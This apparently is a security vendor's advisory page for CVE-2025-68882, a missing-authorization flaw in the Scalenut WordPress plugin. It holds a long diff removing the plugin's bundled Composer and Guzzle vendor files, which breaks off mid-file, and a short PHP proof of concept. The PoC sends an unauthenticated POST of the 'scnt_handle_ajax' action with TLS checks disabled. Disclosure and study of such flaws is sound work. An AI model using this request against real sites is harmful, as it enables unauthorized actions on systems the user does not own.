-<?php
-
-// autoload_classmap.php @generated by Composer
-
-$vendorDir = dirname(__DIR__);
-$baseDir = dirname(dirname($vendorDir));
-
-return array(
-    'Composer\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
-);
--- a/scalenut/includes/vendor/composer/autoload_files.php
+++ b/scalenut/includes/vendor/composer/autoload_files.php
@@ -1,12 +0,0 @@
-<?php
-
-// autoload_files.php @generated by Composer
-
-$vendorDir = dirname(__DIR__);
-$baseDir = dirname(dirname($vendorDir));
-
-return array(
-    '7b11c4dc42b3b3023073cb14e519683c' => $vendorDir . '/ralouphie/getallheaders/src/getallheaders.php',
-    '6e3fae29631ef280660b3cdad06f25a8' => $vendorDir . '/symfony/deprecation-contracts/function.php',
-    'fb4ca2d97fe7ba6af750497425204e70' => $vendorDir . '/sentry/sentry/src/functions.php',
-);
--- a/scalenut/includes/vendor/composer/autoload_namespaces.php
+++ b/scalenut/includes/vendor/composer/autoload_namespaces.php
@@ -1,9 +0,0 @@
-<?php
-
-// autoload_namespaces.php @generated by Composer
-
-$vendorDir = dirname(__DIR__);
-$baseDir = dirname(dirname($vendorDir));
-
-return array(
-);
--- a/scalenut/includes/vendor/composer/autoload_psr4.php
+++ b/scalenut/includes/vendor/composer/autoload_psr4.php
@@ -1,16 +0,0 @@
-<?php
-
-// autoload_psr4.php @generated by Composer
-
-$vendorDir = dirname(__DIR__);
-$baseDir = dirname(dirname($vendorDir));
-
-return array(
-    'Symfony\Component\OptionsResolver\' => array($vendorDir . '/symfony/options-resolver'),
-    'Sentry\' => array($vendorDir . '/sentry/sentry/src'),
-    'Scalenut\ScalenutWordpressPlugin\' => array($baseDir . '/src'),
-    'Psr\Log\' => array($vendorDir . '/psr/log/src'),
-    'Psr\Http\Message\' => array($vendorDir . '/psr/http-factory/src', $vendorDir . '/psr/http-message/src'),
-    'Jean85\' => array($vendorDir . '/jean85/pretty-package-versions/src'),
-    'GuzzleHttp\Psr7\' => array($vendorDir . '/guzzlehttp/psr7/src'),
-);
--- a/scalenut/includes/vendor/composer/autoload_real.php
+++ b/scalenut/includes/vendor/composer/autoload_real.php
@@ -1,50 +0,0 @@
-<?php
-
-// autoload_real.php @generated by Composer
-
-class ComposerAutoloaderInitab0b26e302b27451399c13eed885945f
-{
-    private static $loader;
-
-    public static function loadClassLoader($class)
-    {
-        if ('ComposerAutoloadClassLoader' === $class) {
-            require __DIR__ . '/ClassLoader.php';
-        }
-    }
-
-    /**
-     * @return ComposerAutoloadClassLoader
-     */
-    public static function getLoader()
-    {
-        if (null !== self::$loader) {
-            return self::$loader;
-        }
-
-        require __DIR__ . '/platform_check.php';
-
-        spl_autoload_register(array('ComposerAutoloaderInitab0b26e302b27451399c13eed885945f', 'loadClassLoader'), true, true);
-        self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInitab0b26e302b27451399c13eed885945f', 'loadClassLoader'));
-
-        require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInitab0b26e302b27451399c13eed885945f::getInitializer($loader));
-
-        $loader->register(true);
-
-        $filesToLoad = ComposerAutoloadComposerStaticInitab0b26e302b27451399c13eed885945f::$files;
-        $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
-            if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
-                $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
-
-                require $file;
-            }
-        }, null, null);
-        foreach ($filesToLoad as $fileIdentifier => $file) {
-            $requireFile($fileIdentifier, $file);
-        }
-
-        return $loader;
-    }
-}
--- a/scalenut/includes/vendor/composer/autoload_static.php
+++ b/scalenut/includes/vendor/composer/autoload_static.php
@@ -1,82 +0,0 @@
-<?php
-
-// autoload_static.php @generated by Composer
-
-namespace ComposerAutoload;
-
-class ComposerStaticInitab0b26e302b27451399c13eed885945f
-{
-    public static $files = array (
-        '7b11c4dc42b3b3023073cb14e519683c' => __DIR__ . '/..' . '/ralouphie/getallheaders/src/getallheaders.php',
-        '6e3fae29631ef280660b3cdad06f25a8' => __DIR__ . '/..' . '/symfony/deprecation-contracts/function.php',
-        'fb4ca2d97fe7ba6af750497425204e70' => __DIR__ . '/..' . '/sentry/sentry/src/functions.php',
-    );
-
-    public static $prefixLengthsPsr4 = array (
-        'S' =>
-        array (
-            'Symfony\Component\OptionsResolver\' => 34,
-            'Sentry\' => 7,
-            'Scalenut\ScalenutWordpressPlugin\' => 33,
-        ),
-        'P' =>
-        array (
-            'Psr\Log\' => 8,
-            'Psr\Http\Message\' => 17,
-        ),
-        'J' =>
-        array (
-            'Jean85\' => 7,
-        ),
-        'G' =>
-        array (
-            'GuzzleHttp\Psr7\' => 16,
-        ),
-    );
-
-    public static $prefixDirsPsr4 = array (
-        'Symfony\Component\OptionsResolver\' =>
-        array (
-            0 => __DIR__ . '/..' . '/symfony/options-resolver',
-        ),
-        'Sentry\' =>
-        array (
-            0 => __DIR__ . '/..' . '/sentry/sentry/src',
-        ),
-        'Scalenut\ScalenutWordpressPlugin\' =>
-        array (
-            0 => __DIR__ . '/../../..' . '/src',
-        ),
-        'Psr\Log\' =>
-        array (
-            0 => __DIR__ . '/..' . '/psr/log/src',
-        ),
-        'Psr\Http\Message\' =>
-        array (
-            0 => __DIR__ . '/..' . '/psr/http-factory/src',
-            1 => __DIR__ . '/..' . '/psr/http-message/src',
-        ),
-        'Jean85\' =>
-        array (
-            0 => __DIR__ . '/..' . '/jean85/pretty-package-versions/src',
-        ),
-        'GuzzleHttp\Psr7\' =>
-        array (
-            0 => __DIR__ . '/..' . '/guzzlehttp/psr7/src',
-        ),
-    );
-
-    public static $classMap = array (
-        'Composer\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
-    );
-
-    public static function getInitializer(ClassLoader $loader)
-    {
-        return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInitab0b26e302b27451399c13eed885945f::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInitab0b26e302b27451399c13eed885945f::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInitab0b26e302b27451399c13eed885945f::$classMap;
-
-        }, null, ClassLoader::class);
-    }
-}
--- a/scalenut/includes/vendor/composer/installed.php
+++ b/scalenut/includes/vendor/composer/installed.php
@@ -1,116 +0,0 @@
-<?php return array(
-    'root' => array(
-        'name' => 'scalenut/scalenut-wordpress-plugin',
-        'pretty_version' => 'dev-main',
-        'version' => 'dev-main',
-        'reference' => '832d380ed9e7763caf7f0e86a74d5738c7af9001',
-        'type' => 'library',
-        'install_path' => __DIR__ . '/../../../',
-        'aliases' => array(),
-        'dev' => true,
-    ),
-    'versions' => array(
-        'guzzlehttp/psr7' => array(
-            'pretty_version' => '2.7.0',
-            'version' => '2.7.0.0',
-            'reference' => 'a70f5c95fb43bc83f07c9c948baa0dc1829bf201',
-            'type' => 'library',
-            'install_path' => __DIR__ . '/../guzzlehttp/psr7',
-            'aliases' => array(),
-            'dev_requirement' => false,
-        ),
-        'jean85/pretty-package-versions' => array(
-            'pretty_version' => '2.1.0',
-            'version' => '2.1.0.0',
-            'reference' => '3c4e5f62ba8d7de1734312e4fff32f67a8daaf10',
-            'type' => 'library',
-            'install_path' => __DIR__ . '/../jean85/pretty-package-versions',
-            'aliases' => array(),
-            'dev_requirement' => false,
-        ),
-        'psr/http-factory' => array(
-            'pretty_version' => '1.1.0',
-            'version' => '1.1.0.0',
-            'reference' => '2b4765fddfe3b508ac62f829e852b1501d3f6e8a',
-            'type' => 'library',
-            'install_path' => __DIR__ . '/../psr/http-factory',
-            'aliases' => array(),
-            'dev_requirement' => false,
-        ),
-        'psr/http-factory-implementation' => array(
-            'dev_requirement' => false,
-            'provided' => array(
-                0 => '1.0',
-            ),
-        ),
-        'psr/http-message' => array(
-            'pretty_version' => '2.0',
-            'version' => '2.0.0.0',
-            'reference' => '402d35bcb92c70c026d1a6a9883f06b2ead23d71',
-            'type' => 'library',
-            'install_path' => __DIR__ . '/../psr/http-message',
-            'aliases' => array(),
-            'dev_requirement' => false,
-        ),
-        'psr/http-message-implementation' => array(
-            'dev_requirement' => false,
-            'provided' => array(
-                0 => '1.0',
-            ),
-        ),
-        'psr/log' => array(
-            'pretty_version' => '3.0.2',
-            'version' => '3.0.2.0',
-            'reference' => 'f16e1d5863e37f8d8c2a01719f5b34baa2b714d3',
-            'type' => 'library',
-            'install_path' => __DIR__ . '/../psr/log',
-            'aliases' => array(),
-            'dev_requirement' => false,
-        ),
-        'ralouphie/getallheaders' => array(
-            'pretty_version' => '3.0.3',
-            'version' => '3.0.3.0',
-            'reference' => '120b605dfeb996808c31b6477290a714d356e822',
-            'type' => 'library',
-            'install_path' => __DIR__ . '/../ralouphie/getallheaders',
-            'aliases' => array(),
-            'dev_requirement' => false,
-        ),
-        'scalenut/scalenut-wordpress-plugin' => array(
-            'pretty_version' => 'dev-main',
-            'version' => 'dev-main',
-            'reference' => '832d380ed9e7763caf7f0e86a74d5738c7af9001',
-            'type' => 'library',
-            'install_path' => __DIR__ . '/../../../',
-            'aliases' => array(),
-            'dev_requirement' => false,
-        ),
-        'sentry/sentry' => array(
-            'pretty_version' => '4.10.0',
-            'version' => '4.10.0.0',
-            'reference' => '2af937d47d8aadb8dab0b1d7b9557e495dd12856',
-            'type' => 'library',
-            'install_path' => __DIR__ . '/../sentry/sentry',
-            'aliases' => array(),
-            'dev_requirement' => false,
-        ),
-        'symfony/deprecation-contracts' => array(
-            'pretty_version' => 'v3.5.1',
-            'version' => '3.5.1.0',
-            'reference' => '74c71c939a79f7d5bf3c1ce9f5ea37ba0114c6f6',
-            'type' => 'library',
-            'install_path' => __DIR__ . '/../symfony/deprecation-contracts',
-            'aliases' => array(),
-            'dev_requirement' => false,
-        ),
-        'symfony/options-resolver' => array(
-            'pretty_version' => 'v7.2.0',
-            'version' => '7.2.0.0',
-            'reference' => '7da8fbac9dcfef75ffc212235d76b2754ce0cf50',
-            'type' => 'library',
-            'install_path' => __DIR__ . '/../symfony/options-resolver',
-            'aliases' => array(),
-            'dev_requirement' => false,
-        ),
-    ),
-);
--- a/scalenut/includes/vendor/composer/platform_check.php
+++ b/scalenut/includes/vendor/composer/platform_check.php
@@ -1,26 +0,0 @@
-<?php
-
-// platform_check.php @generated by Composer
-
-$issues = array();
-
-if (!(PHP_VERSION_ID >= 80200)) {
-    $issues[] = 'Your Composer dependencies require a PHP version ">= 8.2.0". You are running ' . PHP_VERSION . '.';
-}
-
-if ($issues) {
-    if (!headers_sent()) {
-        header('HTTP/1.1 500 Internal Server Error');
-    }
-    if (!ini_get('display_errors')) {
-        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
-            fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL);
-        } elseif (!headers_sent()) {
-            echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
-        }
-    }
-    trigger_error(
-        'Composer detected issues in your platform: ' . implode(' ', $issues),
-        E_USER_ERROR
-    );
-}
--- a/scalenut/includes/vendor/guzzlehttp/psr7/src/AppendStream.php
+++ b/scalenut/includes/vendor/guzzlehttp/psr7/src/AppendStream.php
@@ -1,248 +0,0 @@
-<?php
-
-declare(strict_types=1);
-
-namespace GuzzleHttpPsr7;
-
-use PsrHttpMessageStreamInterface;
-
-/**
- * Reads from multiple streams, one after the other.
- *
- * This is a read-only stream decorator.
- */
-final class AppendStream implements StreamInterface
-{
-    /** @var StreamInterface[] Streams being decorated */
-    private $streams = [];
-
-    /** @var bool */
-    private $seekable = true;
-
-    /** @var int */
-    private $current = 0;
-
-    /** @var int */
-    private $pos = 0;
-
-    /**
-     * @param StreamInterface[] $streams Streams to decorate. Each stream must
-     *                                   be readable.
-     */
-    public function __construct(array $streams = [])
-    {
-        foreach ($streams as $stream) {
-            $this->addStream($stream);
-        }
-    }
-
-    public function __toString(): string
-    {
-        try {
-            $this->rewind();
-
-            return $this->getContents();
-        } catch (Throwable $e) {
-            if (PHP_VERSION_ID >= 70400) {
-                throw $e;
-            }
-            trigger_error(sprintf('%s::__toString exception: %s', self::class, (string) $e), E_USER_ERROR);
-
-            return '';
-        }
-    }
-
-    /**
-     * Add a stream to the AppendStream
-     *
-     * @param StreamInterface $stream Stream to append. Must be readable.
-     *
-     * @throws InvalidArgumentException if the stream is not readable
-     */
-    public function addStream(StreamInterface $stream): void
-    {
-        if (!$stream->isReadable()) {
-            throw new InvalidArgumentException('Each stream must be readable');
-        }
-
-        // The stream is only seekable if all streams are seekable
-        if (!$stream->isSeekable()) {
-            $this->seekable = false;
-        }
-
-        $this->streams[] = $stream;
-    }
-
-    public function getContents(): string
-    {
-        return Utils::copyToString($this);
-    }
-
-    /**
-     * Closes each attached stream.
-     */
-    public function close(): void
-    {
-        $this->pos = $this->current = 0;
-        $this->seekable = true;
-
-        foreach ($this->streams as $stream) {
-            $stream->close();
-        }
-
-        $this->streams = [];
-    }
-
-    /**
-     * Detaches each attached stream.
-     *
-     * Returns null as it's not clear which underlying stream resource to return.
-     */
-    public function detach()
-    {
-        $this->pos = $this->current = 0;
-        $this->seekable = true;
-
-        foreach ($this->streams as $stream) {
-            $stream->detach();
-        }
-
-        $this->streams = [];
-
-        return null;
-    }
-
-    public function tell(): int
-    {
-        return $this->pos;
-    }
-
-    /**
-     * Tries to calculate the size by adding the size of each stream.
-     *
-     * If any of the streams do not return a valid number, then the size of the
-     * append stream cannot be determined and null is returned.
-     */
-    public function getSize(): ?int
-    {
-        $size = 0;
-
-        foreach ($this->streams as $stream) {
-            $s = $stream->getSize();
-            if ($s === null) {
-                return null;
-            }
-            $size += $s;
-        }
-
-        return $size;
-    }
-
-    public function eof(): bool
-    {
-        return !$this->streams
-            || ($this->current >= count($this->streams) - 1
-             && $this->streams[$this->current]->eof());
-    }
-
-    public function rewind(): void
-    {
-        $this->seek(0);
-    }
-
-    /**
-     * Attempts to seek to the given position. Only supports SEEK_SET.
-     */
-    public function seek($offset, $whence = SEEK_SET): void
-    {
-        if (!$this->seekable) {
-            throw new RuntimeException('This AppendStream is not seekable');
-        } elseif ($whence !== SEEK_SET) {
-            throw new RuntimeException('The AppendStream can only seek with SEEK_SET');
-        }
-
-        $this->pos = $this->current = 0;
-
-        // Rewind each stream
-        foreach ($this->streams as $i => $stream) {
-            try {
-                $stream->rewind();
-            } catch (Exception $e) {
-                throw new RuntimeException('Unable to seek stream '
-                    .$i.' of the AppendStream', 0, $e);
-            }
-        }
-
-        // Seek to the actual position by reading from each stream
-        while ($this->pos < $offset && !$this->eof()) {
-            $result = $this->read(min(8096, $offset - $this->pos));
-            if ($result === '') {
-                break;
-            }
-        }
-    }
-
-    /**
-     * Reads from all of the appended streams until the length is met or EOF.
-     */
-    public function read($length): string
-    {
-        $buffer = '';
-        $total = count($this->streams) - 1;
-        $remaining = $length;
-        $progressToNext = false;
-
-        while ($remaining > 0) {
-            // Progress to the next stream if needed.
-            if ($progressToNext || $this->streams[$this->current]->eof()) {
-                $progressToNext = false;
-                if ($this->current === $total) {
-                    break;
-                }
-                ++$this->current;
-            }
-
-            $result = $this->streams[$this->current]->read($remaining);
-
-            if ($result === '') {
-                $progressToNext = true;
-                continue;
-            }
-
-            $buffer .= $result;
-            $remaining = $length - strlen($buffer);
-        }
-
-        $this->pos += strlen($buffer);
-
-        return $buffer;
-    }
-
-    public function isReadable(): bool
-    {
-        return true;
-    }
-
-    public function isWritable(): bool
-    {
-        return false;
-    }
-
-    public function isSeekable(): bool
-    {
-        return $this->seekable;
-    }
-
-    public function write($string): int
-    {
-        throw new RuntimeException('Cannot write to an AppendStream');
-    }
-
-    /**
-     * @return mixed
-     */
-    public function getMetadata($key = null)
-    {
-        return $key ? null : [];
-    }
-}
--- a/scalenut/includes/vendor/guzzlehttp/psr7/src/BufferStream.php
+++ b/scalenut/includes/vendor/guzzlehttp/psr7/src/BufferStream.php
@@ -1,147 +0,0 @@
-<?php
-
-declare(strict_types=1);
-
-namespace GuzzleHttpPsr7;
-
-use PsrHttpMessageStreamInterface;
-
-/**
- * Provides a buffer stream that can be written to to fill a buffer, and read
- * from to remove bytes from the buffer.
- *
- * This stream returns a "hwm" metadata value that tells upstream consumers
- * what the configured high water mark of the stream is, or the maximum
- * preferred size of the buffer.
- */
-final class BufferStream implements StreamInterface
-{
-    /** @var int */
-    private $hwm;
-
-    /** @var string */
-    private $buffer = '';
-
-    /**
-     * @param int $hwm High water mark, representing the preferred maximum
-     *                 buffer size. If the size of the buffer exceeds the high
-     *                 water mark, then calls to write will continue to succeed
-     *                 but will return 0 to inform writers to slow down
-     *                 until the buffer has been drained by reading from it.
-     */
-    public function __construct(int $hwm = 16384)
-    {
-        $this->hwm = $hwm;
-    }
-
-    public function __toString(): string
-    {
-        return $this->getContents();
-    }
-
-    public function getContents(): string
-    {
-        $buffer = $this->buffer;
-        $this->buffer = '';
-
-        return $buffer;
-    }
-
-    public function close(): void
-    {
-        $this->buffer = '';
-    }
-
-    public function detach()
-    {
-        $this->close();
-
-        return null;
-    }
-
-    public function getSize(): ?int
-    {
-        return strlen($this->buffer);
-    }
-
-    public function isReadable(): bool
-    {
-        return true;
-    }
-
-    public function isWritable(): bool
-    {
-        return true;
-    }
-
-    public function isSeekable(): bool
-    {
-        return false;
-    }
-
-    public function rewind(): void
-    {
-        $this->seek(0);
-    }
-
-    public function seek($offset, $whence = SEEK_SET): void
-    {
-        throw new RuntimeException('Cannot seek a BufferStream');
-    }
-
-    public function eof(): bool
-    {
-        return strlen($this->buffer) === 0;
-    }
-
-    public function tell(): int
-    {
-        throw new RuntimeException('Cannot determine the position of a BufferStream');
-    }
-
-    /**
-     * Reads data from the buffer.
-     */
-    public function read($length): string
-    {
-        $currentLength = strlen($this->buffer);
-
-        if ($length >= $currentLength) {
-            // No need to slice the buffer because we don't have enough data.
-            $result = $this->buffer;
-            $this->buffer = '';
-        } else {
-            // Slice up the result to provide a subset of the buffer.
-            $result = substr($this->buffer, 0, $length);
-            $this->buffer = substr($this->buffer, $length);
-        }
-
-        return $result;
-    }
-
-    /**
-     * Writes data to the buffer.
-     */
-    public function write($string): int
-    {
-        $this->buffer .= $string;
-
-        if (strlen($this->buffer) >= $this->hwm) {
-            return 0;
-        }
-
-        return strlen($string);
-    }
-
-    /**
-     * @return mixed
-     */
-    public function getMetadata($key = null)
-    {
-        if ($key === 'hwm') {
-            return $this->hwm;
-        }
-
-        return $key ? null : [];
-    }
-}
--- a/scalenut/includes/vendor/guzzlehttp/psr7/src/CachingStream.php
+++ b/scalenut/includes/vendor/guzzlehttp/psr7/src/CachingStream.php
@@ -1,153 +0,0 @@
-<?php
-
-declare(strict_types=1);
-
-namespace GuzzleHttpPsr7;
-
-use PsrHttpMessageStreamInterface;
-
-/**
- * Stream decorator that can cache previously read bytes from a sequentially
- * read stream.
- */
-final class CachingStream implements StreamInterface
-{
-    use StreamDecoratorTrait;
-
-    /** @var StreamInterface Stream being wrapped */
-    private $remoteStream;
-
-    /** @var int Number of bytes to skip reading due to a write on 

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68882 - Scalenut <= 1.1.3 - Missing Authorization

<?php

$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS

// The vulnerable AJAX action hook
$action = 'scnt_handle_ajax';

// Prepare POST data
$post_data = array(
    'action' => $action,
    // Additional parameters may be required depending on the function's internal logic.
    // The diff does not specify required parameters, but the vulnerability is the lack of auth.
    'test_param' => 'exploit_payload'
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); // For testing only

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    // A successful (200) response from the plugin indicates the unauthenticated action was processed.
    if ($http_code == 200 && strpos($response, 'scnt') !== false) {
        echo "[+] Vulnerability likely exploited. Unauthenticated action triggered.n";
    }
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School